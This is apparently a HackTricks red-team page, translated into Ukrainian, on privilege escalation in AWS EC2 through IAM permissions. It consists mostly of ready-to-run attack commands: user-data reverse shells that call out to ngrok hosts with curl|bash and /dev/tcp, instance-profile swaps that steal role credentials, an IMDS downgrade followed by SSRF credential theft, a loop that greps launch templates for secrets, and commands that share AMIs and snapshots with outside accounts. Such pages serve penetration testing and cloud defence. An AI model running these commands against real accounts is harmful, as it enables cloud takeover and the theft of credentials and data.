AWS - EC2 Privesc

Reading time: 13 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

EC2

Для отримання додаткової інформації про EC2 див.:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Зловмисник може створити інстанс, прикріпити роль IAM і потім отримати доступ до інстансу, щоб вкрасти облікові дані ролі IAM з кінцевої точки метаданих.

  • Доступ через SSH

Запустіть новий інстанс, використовуючи створений ssh key (--key-name) і потім підключіться до нього через ssh (якщо ви хочете створити новий, вам може знадобитися дозвіл ec2:CreateKeyPair).

bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Доступ через rev shell у user data

Ви можете запустити новий інстанс, використовуючи user data (--user-data), який відправить вам rev shell. Таким чином вам не потрібно вказувати security group.

bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Будьте обережні з GuradDuty, якщо ви використовуєте credentials IAM role поза instance:

AWS - GuardDuty Enum

Potential Impact: Прямий privesc до будь-якої EC2 role, прикріпленої до існуючих instance profiles.

Privesc to ECS

З цим набором дозволів ви також могли б create an EC2 instance and register it inside an ECS cluster. Таким чином, ECS services будуть run всередині EC2 instance, до якого ви маєте доступ, і тоді ви можете проникнути в ці сервіси (docker containers) і steal their ECS roles attached.

bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Щоб дізнатися, як примусово запустити сервіси ECS на цьому новому EC2 інстансі, перегляньте:

AWS - ECS Privesc

Якщо ви не можете створити новий інстанс, але маєте дозвіл ecs:RegisterContainerInstance, ви можете зареєструвати інстанс у кластері та виконати описану атаку.

Potential Impact: Прямий privesc до ECS roles, прикріплених до tasks.

iam:PassRole, iam:AddRoleToInstanceProfile

Подібно до попереднього сценарію, зловмисник із цими дозволами може змінити IAM role скомпрометованого інстансу, щоб вкрасти нові облікові дані.
Оскільки instance profile може мати лише 1 role, якщо instance profile вже має роль (звичайний випадок), вам також знадобиться iam:RemoveRoleFromInstanceProfile.

bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Якщо instance profile має роль і attacker не може її видалити, існує інший обхідний шлях. Він може знайти instance profile without a role або створити новий (iam:CreateInstanceProfile), додати role до того instance profile (як описано раніше) та асоціювати instance profile compromised до compromised instance:

  • Якщо instance doesn't have any instance profile (ec2:AssociateIamInstanceProfile)
bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Потенційний вплив: Пряме privesc до іншої ролі EC2 (потрібно, щоб ви скомпрометували AWS EC2 інстанс і мали додаткові дозволи або певний стан instance profile).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Маючи ці дозволи, можна змінити instance profile, асоційований з інстансом. Тож якщо атакуючий уже має доступ до інстансу, він зможе отримати облікові дані для інших ролей instance profile, замінивши пов'язаний профіль.

  • Якщо інстанс має instance profile, ви можете видалити instance profile (ec2:DisassociateIamInstanceProfile) і асоціювати його
bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • або замінити instance profile скомпрометованого інстансу (ec2:ReplaceIamInstanceProfileAssociation).
bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>

Potential Impact: Безпосереднє privesc до іншої EC2 role (потрібно скомпрометувати AWS EC2 instance та мати додаткові дозволи або конкретний instance profile status).

ec2:RequestSpotInstances,iam:PassRole

Зловмисник з правами ec2:RequestSpotInstancesandiam:PassRole може запросити Spot Instance з EC2 Role attached і rev shell у user data.\ Після запуску інстансу він може вкрасти IAM role.

bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Зловмисник з правами ec2:ModifyInstanceAttribute може змінювати атрибути інстансу. Серед іншого він може змінити user data, а це означає, що він може змусити інстанс запустити довільні дані, що може бути використано для отримання rev shell to the EC2 instance.

Зауважте, що атрибути можна змінювати лише коли інстанс зупинено, тому потрібні права ec2:StopInstances та ec2:StartInstances.

bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Potential Impact: Пряме privesc до будь-якої EC2 IAM Role, прикріпленої до створеного instance.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Зловмисник з дозволами ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateand ec2:ModifyLaunchTemplate може створити нову Launch Template version з rev shell у user data та будь-яку EC2 IAM Role на ній, змінити версію за замовчуванням, і будь-яка Autoscaler group що використовує ту Launch Template, яка налаштована на використання latest або default version, перезапустить інстанси використовуючи цей шаблон і виконає rev shell.

bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Потенційний вплив: Пряме privesc до іншої EC2 role.

(autoscaling:CreateLaunchConfiguration | ec2:CreateLaunchTemplate), iam:PassRole, (autoscaling:CreateAutoScalingGroup | autoscaling:UpdateAutoScalingGroup)

Зловмисник із дозволами autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole може створити Launch Configuration з IAM Role та rev shell у user data, потім створити autoscaling group на основі цієї конфігурації і чекати, поки rev shell викраде IAM Role.

bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Потенційний вплив: Прямий privesc до іншої EC2 role.

!autoscaling

Набір дозволів ec2:CreateLaunchTemplate та autoscaling:CreateAutoScalingGroup недостатній для ескалації привілеїв до IAM role, оскільки для прикріплення ролі, вказаної в Launch Configuration або в Launch Template, вам потрібні дозволи iam:PassRoleand ec2:RunInstances (що є відомим privesc).

ec2-instance-connect:SendSSHPublicKey

Зловмисник з дозволом ec2-instance-connect:SendSSHPublicKey може додати ssh-ключ користувачу й використати його для доступу (якщо має ssh доступ до інстансу) або для ескалації привілеїв.

bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Потенційний вплив: Direct privesc to the EC2 IAM roles attached to running instances.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Зловмисник з дозволом ec2-instance-connect:SendSerialConsoleSSHPublicKey може додати ssh-ключ до послідовного з'єднання. Якщо послідовний доступ не ввімкнено, зловмиснику потрібен дозвіл ec2:EnableSerialConsoleAccess щоб його увімкнути.

Щоб підключитися до послідовного порту, вам також потрібно знати ім'я користувача та пароль користувача всередині машини.

bash
aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Цей спосіб не дуже корисний для privesc, оскільки для його експлуатації потрібно знати ім'я користувача та пароль.

Potential Impact: (Вкрай складно довести) Прямий privesc до EC2 IAM ролей, прив'язаних до запущених інстансів.

describe-launch-templates,describe-launch-template-versions

Оскільки launch templates мають версіонування, зловмисник з правами ec2:describe-launch-templates та ec2:describe-launch-template-versions може використати їх для виявлення конфіденційної інформації, наприклад облікових даних, що містяться в даних користувача. Для цього наступний скрипт перебирає всі версії доступних launch templates:

bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

У наведених командах, хоча ми й вказуємо певні шаблони (aws_|password|token|api), ви можете використати інший regex, щоб шукати інші типи чутливої інформації.

Припустимо, ми знайшли aws_access_key_id і aws_secret_access_key — ці облікові дані можна використати для автентифікації в AWS.

Можливий вплив: Пряме підвищення привілеїв до IAM-користувача(ів).

Посилання

ec2:ModifyInstanceMetadataOptions (пониження IMDS для дозволу крадіжки облікових даних через SSRF)

Зловмисник, який може викликати ec2:ModifyInstanceMetadataOptions на вразливому EC2 інстансі, може послабити захист IMDS, увімкнувши IMDSv1 (HttpTokens=optional) та збільшивши HttpPutResponseHopLimit. Це робить endpoint метаданих інстансу доступним через поширені SSRF/проксі-шляхи з додатків, що виконуються на інстансі. Якщо зловмисник зможе спровокувати SSRF у такому додатку, він може отримати облікові дані instance profile і використовувати їх для подальших дій.

  • Необхідні дозволи: ec2:ModifyInstanceMetadataOptions на цільовому інстансі (плюс можливість досягти/спровокувати SSRF на хості).
  • Цільовий ресурс: запущений EC2 інстанс з приєднаним instance profile (IAM role).

Приклад команд:

bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'

# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled

# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"

# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity

# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1

Можливий вплив: викрадення облікових даних профілю інстансу через SSRF, що може призвести до ескалації привілеїв та латерального переміщення з використанням дозволів ролі EC2.

ec2:ModifyInstanceMetadataOptions

Зловмисник з дозволом ec2:ModifyInstanceMetadataOptions може ослабити захист Instance Metadata Service (IMDS) — наприклад, примусово включити IMDSv1 (зробивши HttpTokens необов'язковими) або збільшити HttpPutResponseHopLimit — таким чином полегшуючи екфільтрацію тимчасових облікових даних. Найбільш релевантним вектором ризику є підвищення HttpPutResponseHopLimit: збільшуючи цей ліміт переходів (TTL), кінцева точка 169.254.169.254 перестає бути суворо обмеженою простором імен мережі VM і може стати доступною для інших процесів/контейнерів, що дозволяє викрадення облікових даних.

bash
aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens optional \
--http-endpoint enabled \
--http-put-response-hop-limit 2

ec2:ModifyImageAttribute, ec2:ModifySnapshotAttribute

Атакуючий, який має дозволи ec2:ModifyImageAttribute та ec2:ModifySnapshotAttribute, може поділитися AMIs або snapshots з іншими обліковими записами AWS (або навіть зробити їх публічними), що призведе до розкриття образів або томів, які можуть містити конфіденційні дані, такі як конфігурації, облікові дані, сертифікати або резервні копії. Змінивши launch permissions для AMI або create-volume permissions для snapshot, атакуючий дозволяє третім сторонам запускати інстанси або підключати диски з цих ресурсів та отримувати доступ до їхнього вмісту.

Щоб поділитися AMI з іншим обліковим записом:

bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Щоб поділитися знімком EBS з іншим обліковим записом:

bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks